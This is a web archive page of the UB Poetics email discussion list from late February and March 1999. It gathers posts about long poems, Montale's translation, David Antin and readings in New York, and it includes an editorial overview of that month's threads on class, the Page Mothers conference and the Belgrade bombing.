or PAT BORAN HOME htt

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

326. **Maria Damon**
Re: long poem / Rosenthal
Thu 25 Feb 1999

---

who is haniel long? great name, interesting titles

↑ Index

327. **Mark Weiss**
Re: Goodbye Paul, Goodby Khlebnikov
Thu 25 Feb 1999

Check out current NYRB for a fuller take.

At 12:58 PM 2/24/99 -0500, you wrote:
>Since we've been talking about the NYTBR, what did folks think of
>the unusually spacious take on Montale? He's a poet I don't know at all,
>and I did come away at least interested. Anyone know the work? steve
>
>

↑ Index

328. Daniel Kane
Events at Teachers & Writers Collaborative
Thu 25 Feb 1999

For those of you in the New York City area; you might want to look at the schedule of events for T&W, posted on T&W's web page at

http://www.twc.org/events.htm

Very good things going on over the next few months -- Jordan Davis's "Poetry City" poetry-reading series, a lecture by Alice Notley on William Carlos Williams, and a whole lot more. All events are free -- including the copious wine, cheese, babaganoush, etc.

↑ Index

329. Gerald Schwartz
Re: long poem / Rosenthal
Thu 25 Feb 1999

Hello:

Have you included any of Hayden Carruth's long poems? He has made a number of them, particularly outstanding are: ASYLUM(1957), MY FATHER'S FACE(1968), VERMONT(1975) and THE SLEEPING BEAUTY(1970-1980). Technically, he is a virtuoso, and he, more than many others, had a steady hand on the narrative structure.

Best,

Gerald Schwartz

↑ Index

330. Erik Sweet
"Tool A Magazine" party in NYC Friday night
Thu 25 Feb 1999

In New York City
@ 8:30 PM EST
Tomorrow night (2/ 26) at Segue, 303 E 8th street, betweeen Aves B & C...

A Reading and Celebration for issue # 2 of "Tool a Magazine."

Featured Readers: Sean Killian, Brian Lucas, Brenda Iijima, Gary Sullivan Brenda Coultas, Doug Rothchild, Jorge Clar

plus MCs Jordan "Thunder" Davis and Anselm "Rain" Berrigan

Issue # 2 will be for sale and features many writers including:

Alice Notley, Jorge Clar, Clark Coolidge, Paul Metcalf, Eleni Sikelianos, Brenda Coultas, Brian Lucas plus much more....

Fantastic Prizes for the first 15 buyers!!!!!!

↑ Index

331. izak
greek for teacher
Thu 25 Feb 1999

---

the sexier one was "daskala"

but "kathigitria" would make a sexy "professor"

for male teachers

"daskalos" and "kathigitis"

never a hard "d" but a hard "th"
" " " "g" but a throaty "gh"

↑ Index

332. Marjorie Perloff
David Antin
Thu 25 Feb 1999

Re: John Lowther's query and for other interested parties:

I own a copy of KULTUR and a complete run of VORT which is indeed a great mag--the Antin/Rothenberg issue is excellent! I think most big university libraries would have both: I've seen VORT at Stanford in rare book collection and worth looking into. But in the meantime, if you write to David, John, I'm sure he'd send you what you want--tapes too--he is very generous and good about sending his stuff. The early work is very interesting vis-a-vis the later talk poems.

David just gave a talk piece at the new LACMA Humanities Institute as did Jerry Rothenberg. Huge crowd (mayb 300 or so) of people who rarely go these things but it was dubbed as an "art event" and so draws a big crowd. His talk was called "California, the Nervous Camel" and I'll leave it to you to figure out why California = Nervous Camel.

Marjorie Perloff

↑ Index

333. **Christopher Reiner**
New from AVEC BOOKS
Thu 25 Feb 1999

NEW FROM AVEC BOOKS:

THE AGENCY OF WIND

Poems

BY LAYNIE BROWN

Like the strange and imaginative world of Wonderland, The Agency of Wind is a fanciful tale. "I am traveling on a gold cloud/ where come and go no ships or ships logs" states the girl of The Agency of Wind as she embarks on her journey, a journey that includes encounters with a crane, a windmaker, a domineering doll. The poems and prose poems of The Agency of Wind create a quixotic, enchanted province, where things are not as they appear to be and "all disguises swim."

Which way to the windmaker's door? If you want to know that you'll have to ask the doormaker. A riddling, wind-activated poem describing the transformative adventures of a girl and a crane. Page after page, deckled with light, whistle headfirst into a journey, a conversation, a host of insoluble dilemmas, "questions swept over a chasm." The Agency of Wind yields the imaginative pleasures of a Leonora Carrington painting with the verbal vivacity and exactitude already characteristic of a Laynie Browne.--C.D. Wright

There is an address to and from innocence in Laynie Browne's writing. Her poetry is a key with which to recover a refreshed dreamscape, but there's a catch. With the agency of wind as one's portal and only anchor, there are no doors and locks to fit the key. Instead, one must swallow it through the pupil of one's eye extending a fearlessness and trust in a world where walls "are moving curtains" and "the chairs have blown away." The unnamed "she" discovers a series of portals, all announcing and witnessing in gorgeous detail the ornaments of her own beginnings, "as if a negative were to be placed underneath her skin." --Andrew Levy

The gentle quality of Laynie Browne's prose is perfectly suited for this ethereal tale. --Bernadette Mayer

-

Laynie Browne was born in 1966, and grew up in Los Angeles. She received a B.A. in English Literature from the University of California, Berkeley in 1988, and an M.F.A. from Brown University in 1990. She received a fellowship from the MacDowell Colony in 1992, and was awarded the Gertrude Stein Award in

Innovative American Poetry three times between 1993 and 1996. She lives in Seattle.

Poetry * List Price $12 * 125 Pages * ISBN: 1-880713-12-8 * Available from Small Press Distribution and Baker & Taylor

↑ Index

334. Billy Little
Re: long poem / Rosenthal
Thu 25 Feb 1999

Haniel Long santa fe writer 30's-5O's? Harvey Brown I believe republished Interlinear to Cabeza da Vaca in the 60's and likewise If He Can Make Her So also Frontier Press. As far as long poems and american history Homestead 1892 is still a shining example.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

335. david bromige
the longer poem
Thu 25 Feb 1999

Good Grief! There appears no end to the candidates for this important largely male title. It is only fair yo put Listmates on notice that my entire oeuvre is now (by my own fiat, which is what counts) to be regarded as one long poem, The Long Bromige Poem. My published volumes come to upward of 700 pp.,but there are some 300pp as yet unpublished.

This work of a lifetime resembles some other 20th C epics in the strain its widely divergent forms and themes place upon its rubric, but at the same time let us appreciate that its unity is not merely--or at all-- cosmetic.

As to whether it should be considered an American, a Canadian or a British epic, I advocate we think of it as post-American,-Canadian, and -British. Maybe it could be called a World Poetry Disincorporation epic.

You may think the tone of this flip, but if so, so what? That makes this claim no whit less serious.

David

↑ Index

336. nuyopoman
Creeley on MiningCo
Thu 25 Feb 1999

Happy news at http://poetry.miningco.com as Creeley's Bollingen is feted.

Happy news too at http://www.peoplespoetry.org as the People's Poetry Gathering, April 9-11, Lower Manhattan, is unveiled.

Bob Holman

↑ Index

337. A. Jenn Sondheim
i-iii existence meshine
Fri 26 Feb 1999

\

i existence meshine

this text is drawing you out. by which it means [i.e. by which one means]: "l'irruption du pour-soi dans l'Etre comme neantisation de l'en-soi se caracterise comme un mode existentiel irreductible a l'en-soi." (sartre) this existence-meshine draws you out and into existence by virtue of the reading of this text, viral in other words, a drug producing you, pursuing you. */winter wheat/* your technologies - list them. */barley/* YOU FORGET YOU DO NOT HAVE A PAST. [this is the only technology listed.] my you forget you do not have a past. is yours. */maize harvest/* i love your feelings, existence-meshine ... */second harvest oats/* driven by drive-letters, gone gone gone ... */summer wheat/* that runs me out your everywhere! */wild marsh rice/* what do you call your everywhere? */alfalfa and soy/* it is here that you place your name. [this is the only name listed.] it is here [i.e. therefore] that you create your present. */soya beans/* [you do not know you create your present.] [etc.] */millet and sorghum/*

ii existence meshine

donkeys and mules and chicks and calves and roosters:
ducks and rabbits and cows and ponies and geese:
chickens and sheep and lambs and goats and horses::
would chickens and sheep and lambs and goats and horses
mind you farming and ranching and breeding and planting,
roosters and pigs and buffalo and colts and piglets,
with us?

iii and final existence meshine

existence meshine gets derailed to relive and relieve the history of agri- culture as we begin to plant and breed across the world, how much we grew up loving and reading on farming and Pony and Cow. now you will see how planting gave loving and reading on living way to meat and flesh animals, and how these animals took over from existence meshine busy creating and loving someone reading stories and texts and whatever else might be placed in the very first row creating consciousness with the prefabrication of a past. with the invention of a past. with no past at all. with just-being- past. with no past at all. call this iii and final existence meshine and you will see how the world works now and how it has always worked but we only know that now, how it works, and how it works by derailment.

the end of existence meshine.

↑ Index

338. J Kimball
Another word on / for William Bronk
Fri 26 Feb 1999

"Death has given up thinking."

-- Cid Corman, recorded in 1998, in answer to William Bronk's _All of What We Love_.

You can hear Cid's poems in tribute to his friend William Bronk at the following URL:

<http://www.geocities.com/~theeastvillage/a2/corman/a.htm>.

In each of four audio clips Cid first reads a short poem from _All of What We Love_ -- the call -- and then gives a response. Something approaching love between long-estranged friends circulates from poem to poem.

↑ Index

339. Rebecca Wolff
Re: long poem / Rosenthal
Fri 26 Feb 1999

One Life, by Rukeyser, is hard to define: it is a biographical text in poem and prose, also including documentary materials, all on the life of Wendell Willkie.

Check out Fence #2 (still available in bookstores and at SPD and from me) for an excerpt and with an introduction by Jan Heller Levi, editor of A Muriel Rukeyser Reader and of a forthcoming biography of the poet herself.

↑ Index

340. Michael Scharf
Montale in NYTBR
Fri 26 Feb 1999

I'm on digest, so this may have been addressed already, but, Steve S., the NYTBR devoted its cover and a near-gatefold to Jonathan Galassi's translation of Montale not, we must assume, because the merits of Galassi's translation or of Montale's work moved Chip McGrath to do so, but because Galassi is a mover and shaker at the Academy of American Poets, and at the publishing entity known as Farrar, Straus & Giroux.

If I am remembering correctly, the piece's ID of Galassi was simply as "a poet." I don't doubt Galassi's seriousness about the work. But one would think the review would have come clean. Book editors and book review editors eat this stuff up though -- when a local boy or girl makes good and actually produces something, they like to give him or her a little fete.

I think in the last year, the NYTBR has reviewed books of poems by Deborah Garrison (an editor at the New Yorker), Mark Strand (reviewed by Deborah Garrison), Geoffrey Hill (angry Brit.), Frieda Hughes (human interest). Am I forgetting anyone? A serious failure of editorial imagination.

Good naturedly -Mike

ps -- I think Jim Holt is in his 30s.

↑ Index

341. Loss Pequen~o Glazier
Kenneth Goldsmith: Live at Hallwall's
Fri 26 Feb 1999

Kenneth Goldsmith:

Live at Hallwall's

Buffalo, 23 February 1999

A small but fervent crowd was on hand for Goldsmith's reading, including poets and readers from Buffalo, its outlying areas, and a welcome contingent of Canadian poets, including Darren Wershler-Henry and Christian Bok, who had braved the single digit jet-black trek from Toronto for the occasion of Goldsmith's visit.

The reading, in a renovated factory nestled within walking distance of a basement where Coltrane once played and an old-Buffalo bar once known for its crowd of poets, was a dense work unfolding in sections drawn almost entirely

from Goldsmith's No. 111. These often dissonant, engaging passages staggered forward in an evolution of increasing accessibility of semantic value. Goldsmith began early in his big book, his reading being born from guttural, gibberish phonemes, conglomerate rocks emerging into the light of a primordial verbal dawn, an alphabet being born or an infant's first experiments with sound. Even more striking was the way the sounds seemed to grow, elongate, the way an orchestra's random and chaotic warm up almost instantaneously leads, upon a conductor's tap tap on a music stand, into Beethoven or Mozart or another opus.

The tap tap of Goldsmith's voice, emerging from its symbolic birth as it advanced dog-eared into chapters deeper into No. 111 revealed, however, not the unity or symmetry of a symphony, but a wry, in turned, and self-ironic portrayal of what humans say and what humans write. Without context, and amid layered passages of words, sounds, and vocalizations, and the physical dynamic of Goldsmith's body making words, snips and runs of meaning emerged. As if they were things blurted out or strange things that you might find on scraps of paper on the ground, it was a revelation of quirks of language and hyperextensions of meanings that filled the theater with ionized sound fragments trained like a spotlight.

There were times the audience couldn't stop laughing. Many times the audience was caught by surprise, as a seeming progression of ideas was suddenly caught off-guard by a sudden turn at a verbal corner. There were moments of strange, almost pained, sound fabrics. And moments of hilarity.

It was a reading that celebrated the possibilities of the oddities of our common medium, language, one that left no reader without something to take home. Amazingly, all this came from only a handful of pages from a book made up of hundreds. This surely should send any interested person to the book, for there are yet many sounds to come forth.

↑ Index

342. **D Baratier**

Re: long poem / Rosenthal

Fri 26 Feb 1999

Haniel Long-----

Wow! Thought he was forgotten. Haniel believed that an emphasis on the regional would lead to forms of poetry and foster the growth of American Literature. This was in the twenties out in NM. His work Pittsburgh Memoranda, re-released on U Pitt about 10 years ago, uses many forms of documentation and seriality which started to appear in the poetries of Rukeyser, WC Williams, and Rezinikoff in the years after, perhaps was an

influence though difficult to assert. The press was called Writer's Editions in Santa Fe started with a few others in the 20's.

Be well

David Baratier

↑ Index

343. Mairead Byrne
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Fri 26 Feb 1999

It's finally come to me! One Life is the Wendell Wilkie book, is that right? You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997). Mairead

On Thu, 25 Feb 1999, Burt Hatlen wrote:

> *Re: David Baratier*
>
> *Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.*
>
> *Burt Hatlen*

↑ Index

344. Poetry Project
This week at the Poetry Project
Fri 26 Feb 1999

COMING UP MARCH 1-5

Monday, March 1 -- open mic,
sign up at 7:30, reading at 8pm

Wednesday, March 3 -- Joanne Kyger & Gerrit Lansing
(Two of our best poets, both of whom rarely read in New York City)
8:00 pm

Friday, March 5, -- Poetry & Music, featuring performances by Alice B. Talkless & Amy Mayhem, Ed Friedman, Rebecca Moore, David Greenberg, & Lisa Karrer
10:30 pm

[redacted] for further information

↑ Index

345. Magdalena Zurawski
WKCR 89.9
Fri 26 Feb 1999

Anselm Berrigan

&

Magdalena Zurawski

Read Poetry and Perform Unseen Acts

at 8:30pm on WKCR 89.9 FM

New York City

Sunday, February 28, 1999

<bold>Magdalena Zurawski

Executive Development Programs

Stern School of Business

</bold>44 W. 4th Street

New York, NY 10012-1126

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

tel: [redacted]

fax: [redacted]

Departmental E-mail: [redacted]

Website: www.stern.nyu.edu/executive

↑ Index

346. Charles Bernstein
Richard Foreman
Sat 27 Feb 1999

Richard Foreman's newest play, Paradise Hotel, is running through April 4 in New York and is highly recommended. But I wanted here to call attention to his new website

http://www.foreman.ontological.com/

While this site has some general information about Foreman's theater and information about the current production, what is most interesting, and very unusual, is that Foreman has put up many of his unedited/uncorrected texts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

(scores of pages) and he is offering them up to theater directors to make their own plays -- encouraging them to create contexts, characters, to reorder the lines or cut according to the needs of the performance. In any case, the texts make from great reading -- and in their present form many resemble, perhaps are, poems.

Charles Bernstein

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1999

401 messages · Thu 25 Feb 1999 – Wed 31 Mar 1999

March began by taking its toll of the elders. Within a single week Stanley Kubrick, Joe DiMaggio, and the Argentine fabulist Adolfo Bioy Casares were gone, and Pierre Joris, forwarding the last of these, could only note that yet another had *“called it splitsville.”* George Bowering mourned Bioy as his oldest Latin American love, the maker of labyrinths one hardly dared finish; and the list, still fresh from Armand Schwerner’s death the month before, settled again into the particular hush it keeps for the departed before rousing itself, as it always does, to argue.

And argue it did, first about women. Early in the month a good part of the list decamped to La Jolla for the Page Mothers conference — three days at UCSD given over to the matrilineage of experimental writing, Rae Armantrout and Fanny Howe reading into the California evening. Those who stayed home demanded reports and got them: the novelist dbkk filed his dispatch from *“an oblique, Jamesian angle,”* disqualifying himself as a mere male observer, while Elizabeth Treadwell relayed the conference’s sharpest anxiety — the fear, as she put it, of *“women losing whatever ground we’ve gained.”*

That worry bled straight into the month’s largest and most personal quarrel, which began as a question about class and would not let anyone stay abstract. Kathy Lou Schultz set the tone with a working-class credo the thread could not shake — *“I can smell class. I can sniff it out.”* — and the room divided over whether such knowledge was a weapon or a wound. Mark Weiss recalled the Brooklyn stoop-sitters who quizzed and classified him without malice; David Baratier answered with two flat words he handed straight to Gertrude Stein, *“Survival is survival”*; and Rebecca Wolff drew her line at biography, refusing to want to know *“what Susan Howe’s family home was like.”*

Threaded through all of it ran the oldest question of the room, posed this time without embarrassment: what is poetry for? Mark Prejsnar listed the usual bad answers — that it would pay for the kids’ college, or save humanity — and set them aside; Tom Beckett cut through with the plainest reply the archive holds, that *“poetry is for love,”* the fundamental science, as he called it, of emotional-epistemic investigation. It is the kind of sentence the list produces once a season and then spends forty posts trying to complicate.

And then, on the twenty-fourth, the arguing stopped. NATO’s bombs began to fall on Belgrade, and within hours the war was inside the room — not as news but as mail. Charles Bernstein forwarded a message from Dubravka Djuric, a poet and translator writing from the city itself, relaying word from the Belgrade pacifists in an English roughened by fear and haste, closing only with *“i hope i will write.”* The list that had spent the month deciding what poetry was for received, from a poet under the bombs, its answer: that it is a line kept open to another human being after everything else has been cut. I have set the conference and the class-war and the deaths in the order they arrived, and let Dubravka’s broken, indispensable sentences fall where they fell — last, and from the dark.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 401 in all.

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148. P.Standard Schaefer — MFA at Otis College of Art and Design

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168. miekal and — why poets hate html #2
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264. Tom Orange — shaw/davies/kovac in toronto
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331. david bromige — re C Daly & Loyola fans
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336. travmar03 — Fw: April 3, 1999 --

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345. Grant Jenkins — class and shutting up

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353. Marcella Durand — no fold
354. Harold Teichman — Is anyone going to the Cambridge CCCP April 23?

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356. louis stroffolino — Barnard Conference...
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359. Joe Amato/Kass Fleisher — Re: Ray Johnson
360. Summi Kaipa — query
361. Barbara Henning — apartment listing in NYC for June & July
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363. Poetics List — Zine Conference / Basinski
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365. charles alexander — Re: Barnard Conference...
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367. miekal and — a manifesto, a media prayer & 3 questions
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371. Maria Damon (Maria Damon) — Re: Barnard Conference...
372. Tony Green — Re: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)
373. kathylou — Re: Class is . . . (fwd)
374. Taylor Brady — Re: query
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380. David L. Erben — Robert Pinsky
381. Harris Schiff — George Schneeman's 1999 Calendar: Paesaggi Senesi
382. Pierre Joris — Re: Lettrisme
383. Poetics List — Re: A desperate Cry
384. travmar03 — Fw: April 3, 1999 --
385. Michael Magee — Re: LYNN KELLY's Q & SUSAN HOWE'S A

386. Loss Pequen~o Glazier — Wednesday Reading - Buffalo
387. Michael Boughn — Re: Class is . . . (fwd)
388. Gerald Schwartz — Re: LYNN KELLY's Q & SUSAN HOWE'S A
389. David Baratier — Larry's
390. kathylou — Re: query
391. Tony Green — Re: Lettrisme
392. Charles Bernstein — Post from Dubravka Djuric (fwrd)
393. sylvester pollet — Enslin Special Offer
394. Catherine Daly — Spelling Bromige
395. KENT JOHNSON — Anti-war resources
396. Mark Weiss — Re: Class is . . .
397. derek beaulieu / house press — Re: bpNichol's TTA?

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398. d.j. huppatz — RADI OS
399. Stephen Cope — New Writing Series at UCSD
400. Rebecca Wolff — The Joy of Poetry
401. David Baratier — Re: Class is . . . (fwd)

1. Michael McColl
Re: David Antin - audio addendum +
Thu 25 Feb 1999

---

they charged my visa and send about half the order and then never answered my calls again. Maybe they were going out of business right about then. They did have an extensive catalog, and I was all set to slowly but surely put together a collection.

Mike mcColl

↑ Index

2. Marjorie Perloff
Re: Galassi's Montale
Fri 26 Feb 1999

The suggestion (Steven Scharf and others) that the NY Times put Galassi's Montale on the cover and gave it a big review (an excellent one, by the way, by Nick Jenkins!) becauseof his position at Farrar, Straus and at the Academy of American Poets is, I think, a cheap shot.

Have you looked at the book? It's quite fabulous, a labor of love with incredible and impeccable scholarship that makes a great modernist poet come alive. Galassi evidently spent years doing the translation--no mean feat given his day job!--and I found it mind-blowing and have been reading it for weeks. My Italian is rusty but good enough to see that the translation is really superb. So what's wrong with the Times featuring it? True, they wouldn't do same for a contemporary and we all know how little attention they pay to the new, but at least they actually featured a 20th C poet, still not very well known in the U.S. Shouldn't we be pleased about that?

Marjorie Perloff

↑ Index

3. Pierre Joris
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Fri 26 Feb 1999

Mairead Byrne wrote:

> *It's finally come to me! One Life is the Wendell Wilkie book, is that right?*

Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a

new, experiemntal or whatever, prose/biographical genre rather than a long poem.

Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!

Pierre

> *You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).*
> *Mairead*
>
> *On Thu, 25 Feb 1999, Burt Hatlen wrote:*
>
> *Re: David Baratier*
>
> *Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.*
>
> *Burt Hatlen*

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

4. George Bowering
Re: the longer poem
Fri 26 Feb 1999

> *Good Grief! There appears no end to the candidates for this important largely male title. It is only fair yo put Listmates on notice that my entire oeuvre is now (by my own fiat, which is what counts) to be regarded as one long poem, The Long Bromige Poem. My published volumes come to upward of 700 pp.,but there are some 300pp as yet unpublished.*

This is GB. I would like to point out that David did not go far enough in his explanation. It happens that all my work counts as one long poem, and it includes all of Bromige's work as part of it, along with the work of Victor Coleman and Drum Hadley.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

5. Mark Weiss
Bronk obit
Fri 26 Feb 1999

I'd be deeply grateful to anyone who would backchannel me Bill Bronk's Times obit, which I missed.

Mark Weiss

↑ Index

6. Michael Heller
THE GIFT BY H.D. THE COMPLETE TEXT
Sat 27 Feb 1999

Jane Augustine asked me to post this notice to the list:

You are invited to a

BOOK PARTY

to celebrate the publication of

THE GIFT BY H.D.: THE COMPLETE TEXT
(Univ. Press of Florida, December 1998)

Edited by Jane Augustine

(This edition, almost half again the length of the original ND publication, contains, in addition to much added text, 94 pages of H.D.'s "Notes" which she considered part of the work, and, as well, a gallery of never-before-published pictures of H.D.s' relatives, ancestors, and historical sites.)

Wednesday, March 3, 1999

Teachers & Writers Collaborative
5 Union Square West, 7th Floor
NYC

↑ Index

7. Catherine Daly
Lee Ann Brown, Sun & Moon
Sat 27 Feb 1999

Is Lee Ann Brown still reading tomorrow afternoon at Sun & Moon?

I went to her reading at the Rose Cafe. She sang some poems of E.D.'s and her own, some songs. Her sampler poem (read aloud) reminded me of a poem in Mary Leader's _Red Signature_, except it seemed so interesting in Brown's established context, acrostics like cross stitch. She mentioned the Sun & Moon reading but I seem to have fallen off the mailing list and wasn't paying attention if it was posted here.

I was completely blown away by Will Alexander's reading at Beyond Baroque last night (with Philip Lamantia). I was impressed with Lamantia as expected, but Alexander read like the apotheosis of Sun Ra. He used some words I love, like "fulminous". After, I watched something on tv about Monk and slide piano (Johnson). The Alexander/Lamantia reading seemed a bit hearing the slide piano in "Thelonius". I have missed his readings at Sun & Moon, but also the panel/conference at LACMA.

Rgds,
Catherine Daly
[redacted]

↑ Index

8. Karen McKevitt
ezra pound
Sat 27 Feb 1999

My cousin is doing a presentation on Ezra Pound (for a college class) in which he must address some of Pound's themes in the Cantos. To me this seems so

large--I was wondering if anyone had some insights they would like to backchannel (or frontchannel).

Thanks in advance
Karen McKevitt

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↑ Index

9. WENDY KRAMER
[Fwd: [Fwd: check it out]]
Sat 27 Feb 1999

One more time i'm forwarding this, because i don't think it went through after that crash a few weeks ago. apologies if duplicate. wendy

Date: Thu, 11 Feb 1999 20:33:32 +0000
From: WENDY KRAMER <[redacted]>
Organization: N/A
To: [redacted]
Subject: [Fwd: check it out]

hello, i don't think my message got posted from last week. if not, here it is again.

Date: Thu, 04 Feb 1999 14:54:43 +0000
From: WENDY KRAMER <[redacted]>
Organization: N/A
To: UB Poetics discussion group <[redacted]>
Subject: check it out
References: <[redacted]>

hello, it's wendy kramer again. i posted a month or two ago, saying i'd post titles that might be of interest to the list, that are available from the branch libraries of the new york public library. here (HEAR hear) are some that are not yet in the catalog, but will be within the next few weeks, so y'all can watch for them, and reserve them or check them out as they appear.

p.s. did i mention in the last post that you can use the library catalog via the website www.nypl.org, then click on "catalogs" and choose "LEO," which is the catalog for the branch libraries? using your library card, you can place reserves same as when y're at the library, plus you can use many of the available databases (click "electronic resources" at the homepage) from this way.

anyhow, hear are some titles to watch for:

Under the Autumn Star by Knut Hamsun
My Futurist Years by Roman Jakobson
My Way: Speeches and Poems by Charles Bernstein
Routine Disruptions: Selected Poems & Lyrics 1960-1998 by Kenward Elmslie
Whatsaid Serif by Nathaniel Mackey

Also, off the top of my head (i.e. no written citations at my side) of things to watch for that i haven't posted the last few weeks, some not yet available, some on the shelves:

LeeAnn Brown's book (a thousand pardons, i don't remember the title, & it's not in yet)

also a new one by Barrett Watten (again, sorry, no title on hand)

The Real Billy the Kid (sorry, my author citation got cut off in the copier) but i thot it might be of interest as it is for me for spicer fans et al.

p.p.s. Surrealist Women ed. penelope rosemont just came in, & i've got it checked out for myself right now. (that's the one i posted about last time) it looks _scrumptious_, so get in line! i think mid-manhattan (5th ave at 40th st) owns one too. if you get it, backchannel me & lemme know what you think!

last comment: last time i posted "check it out," i got a handful of backchannels, which i appreciated. let me stress, however, that i am low on the library food chain, and do not have the power to place items in the ordering/selection room. in other words, if it ain't already a choice on my order list, i caint hardly choose it. so please dont ask me to buy titles. the exception to this would be, of course, that if there's a title you want in your local branch, go there and request it from whichever librarian is working at the information desk. She or he should have request slips for that purpose, or at least a scrap paper that'll serve the same.

oh, yeah: poetry calendar is available at some branches, free!

best wishes for feb,

dee

↑ Index

10. A. Jenn Sondheim

Alan Sondheim is In <automated reply>

Sat 27 Feb 1999

+++++ +++++ +++++ +++++ +++++ +++++ +++++

This is an automated reply. Alan Sondheim is in at the moment but has nothing to say in reply to your post. He will be in his office until March 3, 1999. Alan Sondheim apologizes for having nothing to say Please do not respond to this automated message.

ID7279901

+++++ +++++ +++++ +++++ +++++ +++++ +++++

↑ Index

11. **louis stroffolino**

Re: PHIL LEVINE

Sat 27 Feb 1999

Does anybody know of any specific mentions (by Language poets, or others) of the work of Levine (from sentences to essays, negative or positive, by "poets" or "critics", any info. would be helpful.....

Chris Stroffolino

↑ Index

12. **rachel**

(no subject)

Sun 28 Feb 1999

Hi,
I was wondering if you could help me
I'm doing a job , comparing "in memory of w.b.yeats" by Auden
and "a pact" written by ezra pound (about whitman)
maybe you could help me analyze it

↑ Index

13. **Billy Little**

why won't ron silliman be poet laureate

Sun 28 Feb 1999

> *Date: Sat, 27 Feb 1999 20:10:08 -0700*
> *To:jvk*
> *From:[redacted] (Billy Little)*
> *Subject:why won't ron silliman be poet laureate*
>
> *america needs his poems.*
> *men die everyday from lack of what is in there.*
> *the thought of what america would be like*
> *if only they read ron silliman*
> *in elementary school*

> *in the washington post*
> *on CNN*
> *the thought of what america*
> *solid pieces from the alphabet in new Jacket*
> *and the tag at the end*
> *teaching with a mere gesture hee hee*

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

14. Harold Teichman
Advice wanted: Meschonnic
Sun 28 Feb 1999

Marjorie Perloff, through several of her essays, has aroused my interest in the work of Henri Meschonnic on poetic form. He's written a lot of books; where to begin? Is 'Critique du rythme' the best entry point?

I am primarily interested in issues of the 'ineluctability' of poetic forms; I take it as a given that Marjorie is right, that we are somehow constrained to write in certain forms, but what is the nature of this constraint (philosophically and practically)?

Thanks,
Harold Teichman

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15. Jamie Ferguson
translation into archaic English
Sun 28 Feb 1999

Mark Weiss wrote:

Why [else] translate from a language foreign to the reader into a version of one's own language only marginally understandable to same?

Is the language in which the poets of the sixteenth and seventeenth centuries "only marginally understandable"? This question is not rhetorical. Chaucer's language certainly IS difficult for most. Do you support the use - in classrooms, say - of the translations of Chaucer into modern English? Don't we lose Chaucer for losing the specific form of his language? Would you present Chaucer through Dryden's translations of some of the Tales? Wouldn't you be painfully aware that you were in fact presenting Dryden and his age, rather than

Chaucer and his? Nobody would suggest that the Elizabethans should be so rendered (leaving aside, at least for the moment, the prevalent modernization of typography, spelling, etc.). Imagine a course on Shakespeare that took Dryden's rescriptings as primary texts.

"Translation is not replication, and it's not just about text. Translation translates as well what the reader needs to know about context, linguistic and otherwise." - M.W.

You are dogmatic, here, and difficult to understand. What I am suggesting about the use of archaic English is that various foreign literary traditions can be set into meaningful parallel with the English tradition, and that, generally speaking, the translation of a proto-Baroque Polish poet into the idiom of a proto-Baroque English poet is a reasonable attempt to provide the reader with an analogical insight into the Polish poet's place in his or her own tradition.

I have to run. I appreciate your response, and we will, I hope, return to this in more detail.

Jamie Ferguson, Boston

Get Your Private, Free Email at http://www.hotmail.com

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16. Andrew D Epstein
Poetry Readings (NYC)
Sun 28 Feb 1999

For those of you in or around or passing through New York, there are two upcoming readings at Columbia you might be interested in:

The F. W. Dupee Poetry Reading Series presents:

Anselm Berrigan
Andrea Brady
Jordan Davis
Andrew Epstein

Introduced by Kenneth Koch

Tuesday, March 23
8 PM

Ward Dennis Room
Lewisohn Hall, 5th Floor
Columbia University
(at 116th and Broadway)

Admission Free

Gary Lenhart

&

Eileen Myles

Introduced by Kenneth Koch

Tuesday, April 6
8PM

Maison Francaise
Columbia University
(at 116th and Broadway)

Admission Free

↑ Index

17. Kenneth Sherwood

David Antin

Sun 28 Feb 1999

I wrote an essay on David Antin for the Dictionary of Literary Biography volume 169, which may be of some interest.

The bibliography is generious if not comprehensive; in addition to "The Principle of Fit," it includes "The Archaeology of Home; Lemons" High Performance Audio, 1987 -- a recording I am unfamiliar with; Antin himself added it in proofing.

In addition to the 1975 VORT special issue, I find his essay "Modernism and Modernity" (Boundary II, 1 Fall 1972: 98-133) and "A Correspondence with the Editors" (Boundary II, Spring 1975: 595-650) important context.

More widely available: Stephen Fredman's _Poets Prose_; Marjorie Perloff's _Poetics of Indeterminacy_, and Hank Lazer's _Opposing Poetries_ all contain smart essays on Antin.

Ken Sherwood

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18. Heather H Thomas

Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania

Mon 1 Mar 1999

BARDFEST 99(C)

Reading, Pennsylvania & Berks County

http://www.geocities.com/~poetspride/bardfest99.html

Celebrating April... National Poetry Month

30 Days / 30 Venues

for details contact stevenallenmay: [redacted]

Events Calendar

